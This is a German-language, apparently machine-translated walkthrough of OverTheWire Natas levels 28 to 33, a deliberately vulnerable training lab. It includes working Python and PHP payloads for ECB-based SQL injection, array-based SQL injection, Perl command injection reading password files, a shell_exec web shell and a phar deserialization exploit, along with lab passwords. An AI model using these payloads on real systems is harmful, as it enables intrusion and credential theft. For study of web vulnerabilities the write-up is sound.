
In diesem Artikel werden wir uns am Beispiel des
Natas- Kriegsspiels mit der Funktionsweise einiger WEB-Identitäten befassen. Jede Ebene hat Zugriff auf das Passwort der nächsten Ebene. Alle Passwörter werden auch in den Dateien / etc / natas_webpass / gespeichert. Beispielsweise wird das Kennwort für natas5 in der Datei / etc / natas_webpass / natas5 gespeichert und ist für die Benutzer natas4 und natas5 schreibgeschützt.
Vergangene Teile:
Teil 1 ,
Teil 2 ,
Teil 3 und
Teil 4 .
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Stufe 28
Beim Senden einer Anfrage wird eine Weiterleitung zu einer anderen Seite mit einer seltsamen Anfrage und Base64-Codierung angezeigt, deren Decodierung nichts ergibt.

Wir senden jede Anfrage zur Anfrage. Wir erhalten eine Fehlermeldung, die deutlich macht, dass die Umleitung eine Verschlüsselung verwendet. Auf dieser Seite wird die Anforderung entschlüsselt, bevor sie in die Datenbank übertragen wird. Das heißt, wir müssen unsere Injektion verschlüsseln und an den Server senden, aber wir kennen den Schlüssel nicht. Aber wir haben einen Verschlüsseler - das ist der Server.

Lassen Sie uns zunächst die Verschlüsselung behandeln. Wir werden zwei verschiedene Zeilen "qwerty" und "asdfgh" senden und analysieren, wie sie konvertiert werden.

Als Antwort erhalten wir identische Linien, die an einer bestimmten Stelle eine bestimmte Reihenfolge haben. Da Anfang und Ende von zwei PCs (Chiffretext) identisch sind, können wir folgende Schlussfolgerungen ziehen:
- Die anfängliche Ergänzung zu OT wird verwendet (Klartext);
- es gibt eine letzte Ergänzung zu OT;
- Der EZB- Modus wird verwendet, da bei verschiedenen OT die letzten Blöcke des CT gleich sind, dh die Blöcke unabhängig voneinander sind.
Die Idee ist folgende: Wir senden eine Abfrage zur Verschlüsselung an die Datenbank, diese wird jedoch konvertiert, und daher wird die Injektion beim Entschlüsseln nicht bestanden. Es ist notwendig, sich mit den Add-Ons zu befassen, um die Blöcke, in denen unsere Nutzdaten verschlüsselt werden, genau zu berechnen. Nach der Verschlüsselung nehmen wir unsere Blöcke aus der Anfrage und senden sie nur an den Server. Auf dem Server werden sie entschlüsselt und ausgeführt, da sie keine Add-Ons enthalten.
Die Idee wird in vier Bildern dargestellt:
- Präsentation von 5 Blöcken.
- Ein Encoder mit Start- und Endzusätzen, die eine leere Zeichenfolge verschlüsseln.
- Verschlüsselung der Zeichenfolge "TEXTTEXTTEXTTEXT".
- Wir entfernen die Ergänzungen, indem wir die erforderliche Anzahl von Zeichen vor und nach unserer Zeile hinzufügen, um sie in einen separaten Block zu setzen. Wir nehmen vom PC nur den zweiten Block.

Auf diese Weise haben wir nur unsere verschlüsselte Zeichenfolge auf einem unbekannten Schlüssel erhalten !!!
Erforderliche Daten:
- Verschlüsselungsmodus (bekannt - EZB)
- Blocklänge (bekannt - 16)
- Anfängliche Add-On-Länge (unbekannt)
- Die Länge unseres Textes (bekannt - „SELECT Passwort
AS Witz von Benutzern ")
Es ist notwendig, die Länge der anfänglichen Füllung herauszufinden. Da die ersten beiden Blöcke gleich sind, senden wir eine unterschiedliche Anzahl von Zeichen. Sobald sich der dritte Block nicht mehr ändert, finden wir die Anzahl der Zeichen, die zur Ergänzung erforderlich sind. Dies sind 10 Zeichen. Unten ist eine Implementierung des obigen Algorithmus.
import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result)

Wir bekommen das Passwort.
Level 29
Es ist schwer zu erraten, dass der Perl-Code die Befehlszeilenfunktion aufruft und die in der Datendatei (die Sie auswählen können) angegebenen Befehle an den Befehl übergeben. Tatsache ist, dass wir die Pipeline von "exec |" schließen können read_command_file "in" exec | read_command | our_smd_command. "

Tatsache ist jedoch, dass unser Team auf der Konsole und nicht auf der Website angezeigt wird. Fügen Sie dazu den folgenden Befehl hinzu, um Zeichen in Eingabe- / Ausgabestreams zu ersetzen: “| tr `vor` nach`.

Da der Befehl abgeschlossen ist, lesen wir das Passwort aus der angegebenen Datei. Aber uns wird gesagt, dass wir das nicht können ...

Wir verwenden die Befehlszeilenfilterung und fügen Anführungszeichen an allen Stellen ein, die gelöscht werden, wenn der Befehl ausgeführt wird.

Wir nehmen das Passwort weg.
Level 30
Schauen wir uns den Quellcode an. Hier wird die quote () -Methode verwendet, bei der alle Sonderzeichen in einer Zeichenfolge maskiert werden. Es entweicht jedoch genau in der Zeichenfolge, wodurch wir das Recht haben, die Injektion zu betreiben, wenn wir beispielsweise ein Array verwendet haben (in diesem Fall wird ein Nullelement akzeptiert).

Lassen Sie uns eine Last für die Anfrage erstellen
Select * FROM users where username = 'username' and password = 'password';
Da wir wissen, dass der Benutzername natas31 ist, geben wir die richtige Bedingung in das Passwort ein: '' oder 1. Dann wird unsere Anfrage so
Select * FROM users where username = 'natas31' and password = '' or 1;
Und jetzt bleibt es, ein Array zu senden.
import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text)

Wir nehmen das Passwort weg.
Level 31
Das Wesentliche des Dienstes wird sofort klar: Aus der CSV-Datei erhalten wir die Tabelle in HTML.

Sehen wir uns den Quellcode an.

Was also am interessantesten ist: Es ist die while-Zeile (<$ file>), während file die Zeile aus dem Parameter ist. Somit ist es möglich, den Code auszuführen.

Senden Sie eine beliebige CSV-Datei und fangen Sie die Anforderung in Burp Suite ab.

Fügen wir nun den Befehl als Parameter hinzu.
?/bin/cat%20/etc/natas_webpass/natas32%20|

Fügen Sie die folgenden Zeilen hinzu, um die Last aus dem Parameter aufzurufen:
-----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV


Wir bekommen das Passwort.
Level 32
Wir öffnen die Seite, auf der uns mitgeteilt wird, dass wir die Ausführung des Codes beweisen und die Webroot-Datei ausführen müssen.

Wenn Sie sich den Code ansehen, ist er genau der gleiche wie auf der vorherigen Ebene. Dann nutzen wir die Sicherheitslücke wie beim letzten Mal. Lassen Sie uns die Webroot-Datei finden. Schauen Sie sich dazu das Verzeichnis an und laden Sie Folgendes: ls -la |

Holen Sie sich die Liste der Dateien. Webroot ist nicht da, aber es gibt ein seltsames Programm getpassword.
Wir führen es aus.


Wir bekommen das Passwort für das letzte Level.

Level 33
Wieder das Datei-Upload-Formular.

Schauen wir uns den Quellcode an.

Daher müssen wir eine Datei mit einer Größe von bis zu 4 MB auf den Server hochladen. Wenn md5 des Inhalts der Datei dem Referenzwert entspricht, wird sie im PHP-Interpreter ausgeführt. Wir schauen weiter. Wir können den Dateinamen und seinen Inhalt steuern.

Ich werde gleich sagen, dass dies eine komplexe Sicherheitslücke ist, die ich vor einem halben Jahr getroffen habe. Ziel ist es, dass wir eine Datei eines beliebigen Typs auf den Server hochladen können und alle Vorgänge mit ihrem Inhalt ausgeführt werden. Über Phar-Dateien wird
hier geschrieben. Kurz gesagt, ein spezielles PHP-Archiv, das serialisierte Daten darstellt. In diesem Fall führt das Lesen des Phar-Streams zur Ausführung des Codes. Auf diese Weise können Sie den Code serialisieren und an den Server senden. Bei der Berechnung von md5 wird ein Stream gelesen, der zur Codeausführung führt.
Erstellen Sie also zuerst eine PHP-Datei, die das Flag liest.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Laden Sie es auf den Server hoch. Vergessen Sie nicht, den Namen in Burp Suite zu ändern.


Wir bekommen die Serverantwort ... Ok. Erstellen Sie nun ein Phar-Archiv, das bei Ausführung die benötigten Werte ändert (der Hash ist immer korrekt und der Name der Datei, die bereits auf den Server hochgeladen wurde). Also werden wir die Prüfung bestehen und der Server wird shell.php ausführen.
<?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?>
Vor dem Kompilieren in der Datei /etc/php/xx/php.ini müssen Sie den Parameter phar.readonly in Off ändern.

Als nächstes führen Sie php shell.php aus und wir erhalten die .phar-Datei. Wir senden es an den Server und ändern den Namen.

Wir haben also beide Dateien: Archiv und Shell. Jetzt müssen Sie veranlassen, dass die Datei aus dem Archiv gelesen wird, was zur Codeausführung führt.

Wir bekommen das Passwort.

Das war der Veranstaltungsort von Natas. Sie können sich uns
per Telegramm anschließen .